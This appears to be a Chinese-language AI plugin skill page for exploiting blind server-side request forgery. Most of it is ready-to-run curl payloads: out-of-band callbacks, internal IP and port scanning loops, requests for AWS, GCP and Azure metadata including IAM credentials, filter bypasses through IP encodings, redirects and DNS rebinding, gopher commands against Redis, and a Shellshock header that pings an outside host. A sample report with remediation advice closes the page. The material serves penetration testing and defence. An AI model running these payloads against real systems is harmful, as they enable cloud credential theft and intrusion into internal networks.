npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试服务器端响应未被反映的 URL/Webhook 输入参数时
Detects and exploits blind SSRF using OOB techniques, Burp Collaborator, DNS interactions, and timing to access internal services and cloud metadata endpoints like AWS/GCP/Azure.
Detects and exploits blind SSRF vulnerabilities using out-of-band techniques, Burp Collaborator DNS/HTTP callbacks, and timing analysis to access internal networks and cloud metadata endpoints. Useful for web app and cloud security assessments.
Identifies and exploits SSRF vulnerabilities in authorized pentests to access internal services, cloud metadata (AWS/GCP/Azure), and scan restricted networks using Burp Suite, interactsh, SSRFmap, and curl payloads.
Share bugs, ideas, or general feedback.
# 常见易受 SSRF 攻击的参数:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=
# 测试 URL 获取功能
curl -X POST http://target.com/api/fetch-url \
-H "Content-Type: application/json" \
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
# 测试 Webhook 配置
curl -X POST http://target.com/api/webhooks \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
# 测试图片/头像 URL
curl -X POST http://target.com/api/profile/avatar \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
# 测试文档导入
curl -X POST http://target.com/api/import \
-H "Content-Type: application/json" \
-d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
# 使用 Burp Collaborator 进行 DNS + HTTP 回调
# 生成 Collaborator 载荷:xxxxxx.oastify.com
# 基于 DNS 的检测(即使 HTTP 被封锁也有效)
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# 检查 Collaborator 中的 DNS 查询
# 基于 HTTP 的检测
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# 检查 Collaborator 中的 HTTP 请求
# interact.sh 替代方案
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://RANDOM.interact.sh"}'
# 监控 interact.sh 仪表板的交互
# 通过盲 SSRF 扫描内部 IP 段
# 使用时序差异判断主机是否存活
# 扫描常见内网段
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
start=$(date +%s%N)
curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
end=$(date +%s%N)
elapsed=$(( (end - start) / 1000000 ))
echo "$ip: ${elapsed}ms"
done
# 通过盲 SSRF 进行端口扫描
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
curl -X POST http://target.com/api/fetch \
-d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
echo "端口 $port 已测试"
done
# 使用 gopher:// 进行更高级的内部服务交互
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
# AWS 元数据(IMDSv1)
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
# AWS IAM 凭证
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP 元数据
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
# Azure 元数据
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
# DNS 重绑定访问元数据(绕过 IP 封锁)
# 使用 rebinder.net 等服务创建 DNS 重绑定域名
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
# IP 表示绕过
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}' # 十六进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}' # 十进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}' # 八进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}' # 简短形式
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}' # IPv6
# URL 解析混淆
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'
# 基于重定向的绕过
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'
# DNS 重绑定
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'
# 通过 DNS 外泄数据(仅 DNS 回调有效时)
# 如果能实现反映数据的服务的 SSRF:
# 链条:SSRF -> 内部服务 -> DNS 外泄
# 使用 gopher 协议执行 Redis 命令
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'
# 将盲 SSRF 与内部主机的 Shellshock 结合利用
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# 配合 User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"
# 通过 SSRF 利用内部服务
# Redis:写入 SSH 密钥
# Memcached:注入序列化对象
# Elasticsearch:读取索引
# 内部 API:访问已认证端点
| 概念 | 定义 |
|---|---|
| 盲 SSRF(Blind SSRF) | 服务器发出请求但响应对攻击者不可见 |
| 带外检测(Out-of-Band Detection) | 使用外部回调(DNS、HTTP)确认 SSRF 执行 |
| DNS 重绑定(DNS Rebinding) | 通过更改 DNS 解析绕过基于 IP 的 SSRF 过滤器的技术 |
| 云元数据(Cloud Metadata) | 可通过 SSRF 访问的实例元数据端点,用于凭证窃取 |
| Gopher 协议 | 允许构造载荷与内部 TCP 服务交互的协议 |
| 时序检测(Time-Based Detection) | 通过测量响应时间差异检测 SSRF 成功 |
| SSRF 链(SSRF Chain) | 将 SSRF 与其他漏洞结合以获得更大影响 |
| 工具 | 用途 |
|---|---|
| Burp Collaborator | 用于 DNS 和 HTTP 回调检测的带外交互服务器 |
| interact.sh | ProjectDiscovery 的开源带外交互工具 |
| SSRFmap | 自动化 SSRF 检测和利用框架 |
| Gopherus | 生成用于通过 SSRF 利用内部服务的 gopher 载荷 |
| webhook.site | 用于测试 SSRF 回调的免费 Webhook 接收器 |
| rebinder.net | 用于绕过 SSRF IP 过滤器的 DNS 重绑定服务 |
## 盲 SSRF 评估报告
- **目标**:http://target.com/api/fetch-url
- **检测方法**:Burp Collaborator DNS + HTTP 回调
- **内部访问已确认**:是
### 发现
| # | 输入点 | 载荷 | 检测 | 影响 |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url 参数 | http://collaborator | HTTP 回调 | 确认 SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | 时序(2.3s vs 0.1s) | 云元数据 |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis 写入已确认 | 潜在 RCE |
### 内网地图
| 主机 | 端口 | 服务 | 可访问 |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | 是 |
| 10.0.0.10 | 9200 | Elasticsearch | 是 |
| 169.254.169.254 | 80 | AWS 元数据 | 是 |
### 修复建议
- 对 URL 获取实施允许的外部域白名单
- 封锁对私有 IP 段和云元数据端点的请求
- 对 AWS 实例元数据使用 IMDSv2(需要令牌)
- 禁用未使用的 URL 协议(gopher、file、dict)
- 为应用程序服务器实施网络级别分段